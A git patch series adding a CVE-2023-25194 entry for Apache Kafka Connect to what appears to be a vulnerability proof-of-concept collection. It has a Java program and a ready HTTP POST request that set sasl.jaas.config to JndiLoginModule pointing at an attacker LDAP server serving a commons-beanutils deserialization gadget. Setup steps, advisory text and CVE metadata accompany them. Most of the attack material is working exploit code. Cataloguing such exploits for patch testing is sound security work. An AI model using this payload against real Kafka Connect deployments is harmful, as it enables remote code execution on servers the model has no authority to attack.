From 45cfcc5ffb79a669e76ebe45d4c2ad7c4bf9233f Mon Sep 17 00:00:00 2001 From: Bihe Zhao <13012563808@163.com> Date: Tue, 4 Apr 2023 11:53:35 +0800 Subject: [PATCH 1/2] =?UTF-8?q?=E4=BF=AE=E6=94=B9CVE-2023-25194?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../CVE-2023-25194-java/pom.xml | 28 +++++++++ .../src/main/java/Test.java | 25 ++++++++ .../target/classes/Test.class | Bin 0 -> 1478 bytes .../target/classes/Test2.class | Bin 0 -> 502 bytes .../2023/CVE-2023-25194/README.md | 54 ++++++++++++++++++ .../2023/yaml/CVE-2023-25194.yaml | 20 +++++++ openkylin_list.yaml | 2 + 7 files changed, 129 insertions(+) create mode 100644 cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/pom.xml create mode 100644 cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/src/main/java/Test.java create mode 100644 cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test.class create mode 100644 cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test2.class create mode 100644 cve/apache-Kafka/2023/CVE-2023-25194/README.md create mode 100644 cve/apache-Kafka/2023/yaml/CVE-2023-25194.yaml diff --git a/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/pom.xml b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/pom.xml new file mode 100644 index 00000000..17a4f7f1 --- /dev/null +++ b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/pom.xml @@ -0,0 +1,28 @@ + + + 4.0.0 + + org.example + CVE-2023-25194 + 1.0-SNAPSHOT + + + 8 + 8 + + + + + org.apache.kafka + kafka-clients + 3.3.0 + + + commons-beanutils + commons-beanutils + 1.9.4 + + + \ No newline at end of file diff --git a/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/src/main/java/Test.java b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/src/main/java/Test.java new file mode 100644 index 00000000..72119106 --- /dev/null +++ b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/src/main/java/Test.java @@ -0,0 +1,25 @@ +import org.apache.kafka.clients.producer.KafkaProducer; +import org.apache.kafka.clients.producer.Producer; +import org.apache.kafka.clients.producer.ProducerRecord; + +import java.util.Properties; + +public class Test { + public static void main(String[] args) { + Properties props = new Properties(); + props.put("sasl.mechanism","SCRAM-SHA-256"); + props.put("security.protocol","SASL_SSL"); +// props.put("security.protocol","SASL_PLAINTEXT"); + props.put("sasl.jaas.config","com.sun.security.auth.module.JndiLoginModule " + + "required user.provider.url=\"ldap://127.0.0.1:1389/deserialCommonsBeanutils1\" " + + "useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" " + + "group.provider.url=\"xxx\";"); + props.put("bootstrap.servers", "localhost:9092"); + props.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer"); + props.put("value.deserializer", "org.apache.kafka.common.serialization.StringDeserializer"); + props.put("key.serializer", "org.apache.kafka.common.serialization.StringSerializer"); + props.put("value.serializer", "org.apache.kafka.common.serialization.StringSerializer"); + + Producer producer = new KafkaProducer<>(props); + } +} diff --git a/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test.class b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test.class new file mode 100644 index 0000000000000000000000000000000000000000..c16dc92d9d3f8a7386d26d7e7ac4fbec5ab88194 GIT binary patch literal 1478 zcmb7ETTdHD6#fPSUK}8>P}-z7$88d>yD8x|f}Xjo`k*eqkKf*EX=u~Wt_!|1k*WlBP6e&Gef@P5)3 z3^zR)i>F!C66!f`g@o8%67cW^SJLR0;BeZNnsRv0g-*99I^r^Bn4ACJJK=rqhCJ@L zeyU{L*~+tX)gk|x|1dL*^is%3=r80C62@)!mLQ{5&9NJkR6vMKYsE*5fJm?Dd zl)pUXZV*Zlr`jDjnb_Q$BIo|y{CRIMz|mXe*}gv0b!3;SRs1AVfp{X#-p0&o9J7sa zyo>i3X7kNlnT}yna~(R72)aC$I%1gc_mB1tR{XE_R#w+H#_<_GXPDL^$dpXa9U3!D zf+VE1_RHusfXd2ZQir6w48eVo2oo+TCG*@W{r{dfhG$dacwls(=PC*tYCkt)IG-|R? z*YXulC20jwzqp*G2(|k>%*2&^lcvNV))d%yn*#o2Q4=^-q<=G)`~S@T#t?o$Z$qm+ zx_X9Zl<=Q>_pEgy0)k4tjLydV8)Pj^Ti20=>kz}O%g`&Fr5lYqc!$14<~Iap_)X_6 z(p-8odXFq#fc=!4Z__!NgJrx=@_6BZ5AY#rWB3Rk6Jmn@K#3mUyVn>xzCg)avWM-F zpE3IFl3li~LKw3vg>b_jFN6tuvJh?#geiNvKn~g8%>k literal 0 HcmV?d00001 diff --git a/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test2.class b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test2.class new file mode 100644 index 0000000000000000000000000000000000000000..7dd11a74d3a939a1046cde14175f12cd700b109d GIT binary patch literal 502 zcmb7BO-lnY5PjLUyX{(Sty=Zyt%@`t-YS9!9wh3ar68WtZP=!Cv#=k6Kg&}=!5`p{ z5+|up1TW?=A8+2gNhY6PZyx~8aTub8y#U=1p7r|y4jB9kZFF(TQ0X0y8LHRmR57%K zHtN1iCMp}r$%2rMNF%uz%S_w+2dow|oihYtr1IiyK<$athN0Vg5_9=1`9hkQ4~tBj zc;Mt^7E{B{A7vUkH&ZRrSev_aTH2v~5v2*wOT%*&m6bffa-lH&+B~Py{rvi7i5G^A(AC7JG;HxI{&)1?-oRD$#r=(p?eJLYwe932dW7 KmR3u-huv>JUuy0E literal 0 HcmV?d00001 diff --git a/cve/apache-Kafka/2023/CVE-2023-25194/README.md b/cve/apache-Kafka/2023/CVE-2023-25194/README.md new file mode 100644 index 00000000..6233bc1f --- /dev/null +++ b/cve/apache-Kafka/2023/CVE-2023-25194/README.md @@ -0,0 +1,54 @@ +## Description + +A possible security vulnerability has been identified in Apache Kafka Connect. This requires access to a Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config and a SASL-based security protocol, which has been possible on Kafka Connect clusters since Apache Kafka 2.3.0. When configuring the connector via the Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config` property for any of the connector's Kafka clients to "com.sun.security.auth.module.JndiLoginModule", which can be done via the `producer.override.sasl.jaas.config`, `consumer.override.sasl.jaas.config`, or `admin.override.sasl.jaas.config` properties. This will allow the server to connect to the attacker's LDAP server and deserialize the LDAP response, which the attacker can use to execute java deserialization gadget chains on the Kafka connect server. Attacker can cause unrestricted deserialization of untrusted data (or) RCE vulnerability when there are gadgets in the classpath. Since Apache Kafka 3.0.0, users are allowed to specify these properties in connector configurations for Kafka Connect clusters running with out-of-the-box configurations. Before Apache Kafka 3.0.0, users may not specify these properties unless the Kafka Connect cluster has been reconfigured with a connector client override policy that permits them. Since Apache Kafka 3.4.0, we have added a system property ("-Dorg.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage in SASL JAAS configuration. Also by default "com.sun.security.auth.module.JndiLoginModule" is disabled in Apache Kafka 3.4.0. We advise the Kafka Connect users to validate connector configurations and only allow trusted JNDI configurations. Also examine connector dependencies for vulnerable versions and either upgrade their connectors, upgrading that specific dependency, or removing the connectors as options for remediation. Finally, in addition to leveraging the "org.apache.kafka.disallowed.login.modules" system property, Kafka Connect users can also implement their own connector client config override policy, which can be used to control which Kafka client properties can be overridden directly in a connector config and which cannot. + + +## Poc + +``` +POST /connectors HTTP/1.1 +Host: xxxx:8083 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 +Content-Type: application/json +Connection: close +Content-Length: 1109 + +{"name": "test", + "config": + { + "connector.class":"io.debezium.connector.mysql.MySqlConnector", + "database.hostname": "xxxxx", + "database.port": "3306", + "database.user": "root", + "database.password": "xxxxxx", + "database.dbname": "xxxx", + "database.sslmode": "SSL_MODE", + "database.server.id": "1234", + "database.server.name": "localhost", + "table.include.list": "MYSQL_TABLES", + "tasks.max":"1", + "topic.prefix": "aaa22", + "debezium.source.database.history": "io.debezium.relational.history.MemoryDatabaseHistory", + "schema.history.internal.kafka.topic": "aaa22", + "schema.history.internal.kafka.bootstrap.servers": "kafka:9202", + "database.history.producer.security.protocol": "SASL_SSL", + "database.history.producer.sasl.mechanism": "PLAIN", + "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://aaa\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" + } +} +``` + +## Attention + +1. Import the libs by copy them to the kafka's libs directory. +2. Kafka Connect must be running. (./bin/connect-distributed.sh config/connect-distributed.properties) +3. mysql info must be right, and make sure kafka connect can connect the db. + +## References +- https://github.com/ohnonoyesyes/CVE-2023-25194 +- https://github.com/luelueking/Java-CVE-Lists/tree/main/CVE-2023-25194 \ No newline at end of file diff --git a/cve/apache-Kafka/2023/yaml/CVE-2023-25194.yaml b/cve/apache-Kafka/2023/yaml/CVE-2023-25194.yaml new file mode 100644 index 00000000..fd7f8dd8 --- /dev/null +++ b/cve/apache-Kafka/2023/yaml/CVE-2023-25194.yaml @@ -0,0 +1,20 @@ +id: CVE-2023-25194 +source: + https://github.com/ohnonoyesyes/CVE-2023-25194 +info: + name: Apache Kafka 是一个分布式事件存储和流处理平台。 它是由 Apache 软件基金会开发的一个开源系统,使用 Java 和 Scala 编写。 + severity: high + description: | + 在 Apache Kafka Connect 中发现了一个可能的安全漏洞。 当类路径中有小工具时,攻击者可以导致不可信数据的无限制反序列化RCE漏洞。 + scope-of-influence: Apache Kafka 2.3.0 + reference: + - https://nvd.nist.gov/vuln/detail/cve-2023-25194 + - https://lists.apache.org/thread/vy1c7fqcdqvq5grcqp6q5jyyb302khyz + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2023-25194 + cwe-id: CWE-502 + cnvd-id: None + kve-id: None + tags: 不可信数据反序列化 \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 7c4549f5..d7b9b900 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -12,6 +12,8 @@ cve: - CVE-2022-24706 apache-Dubbo: - CVE-2021-43297 + apache-Kafka: + - CVE-2023-25194 apache-log4j: - CVE-2021-44228 apache-solr: -- Gitee From 2417442128b20a9212455e4fa02b352e91b2a1c1 Mon Sep 17 00:00:00 2001 From: Bihe Zhao <13012563808@163.com> Date: Tue, 4 Apr 2023 16:05:24 +0800 Subject: [PATCH 2/2] =?UTF-8?q?=E4=BF=AE=E6=94=B9CVE-2023-25194?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../target/classes/Test.class | Bin 1478 -> 0 bytes .../target/classes/Test2.class | Bin 502 -> 0 bytes 2 files changed, 0 insertions(+), 0 deletions(-) delete mode 100644 cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test.class delete mode 100644 cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test2.class diff --git a/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test.class b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test.class deleted file mode 100644 index c16dc92d9d3f8a7386d26d7e7ac4fbec5ab88194..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1478 zcmb7ETTdHD6#fPSUK}8>P}-z7$88d>yD8x|f}Xjo`k*eqkKf*EX=u~Wt_!|1k*WlBP6e&Gef@P5)3 z3^zR)i>F!C66!f`g@o8%67cW^SJLR0;BeZNnsRv0g-*99I^r^Bn4ACJJK=rqhCJ@L zeyU{L*~+tX)gk|x|1dL*^is%3=r80C62@)!mLQ{5&9NJkR6vMKYsE*5fJm?Dd zl)pUXZV*Zlr`jDjnb_Q$BIo|y{CRIMz|mXe*}gv0b!3;SRs1AVfp{X#-p0&o9J7sa zyo>i3X7kNlnT}yna~(R72)aC$I%1gc_mB1tR{XE_R#w+H#_<_GXPDL^$dpXa9U3!D zf+VE1_RHusfXd2ZQir6w48eVo2oo+TCG*@W{r{dfhG$dacwls(=PC*tYCkt)IG-|R? z*YXulC20jwzqp*G2(|k>%*2&^lcvNV))d%yn*#o2Q4=^-q<=G)`~S@T#t?o$Z$qm+ zx_X9Zl<=Q>_pEgy0)k4tjLydV8)Pj^Ti20=>kz}O%g`&Fr5lYqc!$14<~Iap_)X_6 z(p-8odXFq#fc=!4Z__!NgJrx=@_6BZ5AY#rWB3Rk6Jmn@K#3mUyVn>xzCg)avWM-F zpE3IFl3li~LKw3vg>b_jFN6tuvJh?#geiNvKn~g8%>k diff --git a/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test2.class b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test2.class deleted file mode 100644 index 7dd11a74d3a939a1046cde14175f12cd700b109d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 502 zcmb7BO-lnY5PjLUyX{(Sty=Zyt%@`t-YS9!9wh3ar68WtZP=!Cv#=k6Kg&}=!5`p{ z5+|up1TW?=A8+2gNhY6PZyx~8aTub8y#U=1p7r|y4jB9kZFF(TQ0X0y8LHRmR57%K zHtN1iCMp}r$%2rMNF%uz%S_w+2dow|oihYtr1IiyK<$athN0Vg5_9=1`9hkQ4~tBj zc;Mt^7E{B{A7vUkH&ZRrSev_aTH2v~5v2*wOT%*&m6bffa-lH&+B~Py{rvi7i5G^A(AC7JG;HxI{&)1?-oRD$#r=(p?eJLYwe932dW7 KmR3u-huv>JUuy0E -- Gitee